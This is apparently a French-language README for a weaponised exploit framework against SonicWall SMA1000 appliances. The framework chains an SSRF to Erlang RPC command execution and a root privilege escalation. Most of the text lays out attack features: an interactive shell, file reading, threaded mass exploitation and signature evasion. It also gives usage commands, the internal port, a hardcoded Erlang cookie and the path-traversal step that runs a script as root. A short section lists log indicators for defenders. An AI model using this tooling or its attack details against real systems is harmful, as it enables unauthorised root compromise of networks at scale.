
Framework multi-exploits pour SonicWall SMA1000 enchaînant SSRF (CVE-2026-15409) à une RCE Erlang et une élévation des privilèges root (CVE-2026-15410). Propose un shell interactif, une analyse par lots, des opérations sur les fichiers et un mode de détection sûr pour les tests d'intrusion autorisés.

Framework d'exploitation & outil de détection sécurisé
Tout accès non autorisé à des systèmes informatiques est illégal en vertu du **CFAA (États-Unis), du Computer Misuse Act (Royaume-Uni), du TCK 243/244 (Turquie) et de lois similaires dans le monde entier.
CVE-2026-15409 est une vulnérabilité critique de type Server-Side Request Forgery (SSRF) non authentifiée découverte dans l'interface Appliance Work Place du SonicWall SMA1000.
Fonctionnement :
wsproxy.os:cmd/1.Faits clés :
Divulguée : 14 juillet 2026
Score CVSS : 10.0 (CRITIQUE)
Produits affectés : SMA 6210, SMA 7210, SMA 8200v
Versions corrigées : 12.4.3-03453+ et 12.5.0-02835+
exploit.py)L'exploit complet weaponisé chaîne CVE-2026-15409 et CVE-2026-15410 pour obtenir une compromission au niveau root.
| Fonctionnalité | Description |
|---|---|
| [+] SSRF → Erlang RPC | Tunnellise automatiquement à travers wsproxy pour atteindre les nœuds Erlang internes. |
| [+] Exécution de code à distance | Exécute des commandes OS arbitraires via os:cmd/1. |
| [+] Shell interactif | Lance un shell en direct avec prise en charge des commandes privesc et download. |
| [+] Privesc Root | Exploite CVE-2026-15410 pour élever les privilèges vers root via une traversée de chemin AMC. |
| [+] Opérations sur fichiers | Lit et écrit des fichiers sur le système cible. |
| [+] Scan par lots | Exploite massivement plusieurs cibles avec threading (option -l). |
| [+] Détection SSRF | Option --detect pour une vérification sécurisée de la vulnérabilité. |
| [+] Personnalisable | Remplacez l'URL WebSocket, l'Origin, le User-Agent, le Cookie, etc. |
| [+] Aucune dépendance supplémentaire | Utilise uniquement la bibliothèque standard Python (sauf requests optionnel pour la détection). |
| [+] Implémentation WebSocket brute | Aucune bibliothèque WebSocket externe — une poignée de main personnalisée au niveau socket évite les empreintes de signature propres aux bibliothèques pour une meilleure OPSEC. |
pip (pour la bibliothèque requests)pip install -r requirements.txt
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Single target scan
python checker.py https://192.168.1.100
# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace
# Mass scan from file
python checker.py --list targets.txt
| Produit | Versions vulnérables | Versions corrigées |
|---|---|---|
| SMA 6210 | 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 12.5.0-02283, 12.5.0-02624, 12.5.0-02800 | 12.4.3-03453+ 12.5.0-02835+ |
| SMA 7210 | Identique à ci-dessus | Identique à ci-dessus |
| SMA 8200v | Identique à ci-dessus | Identique à ci-dessus |
[!] Important : Ces vulnérabilités n'affectent pas les pare-feu SonicWall (SSL-VPN) ni la série SMA 100.
Le point de terminaison wsproxy sur le port 443 accepte un paramètre bmID commençant par -3389 et une spécification host:port. En pointant host=127.0.0.1 et port=1050, les attaquants peuvent tunnelliser vers le service de distribution Erlang interne.
Le nœud Erlang utilise un cookie par défaut codé en dur : 10ecad5b446e86864832904cd439b6b70262. Cela permet l'authentification à distance et l'exécution de tout appel os:cmd/1.
Une fois authentifié, l'exploit écrit un script shell dans /var/tmp/ et déclenche le point de terminaison XML-RPC remove_hotfix de l'AMC avec une traversée de chemin (../../../../var/tmp/script.sh), exécutant le script en tant que root.
SonicWall recommande de vérifier :
extraweb_access.log pour /__api__/login ou /__api__/logout (statut 200)extraweb_access.log pour /wsproxy avec des paramètres host suspects (statut 101)ctrl-service.log pour des rollbacks de hotfix avec traversée de chemin/var/lib/unit/conf.json contenant des routes pour /__api__/login ou /__api__/logoutCet outil est fourni à des fins éducatives et de tests d'intrusion autorisés uniquement.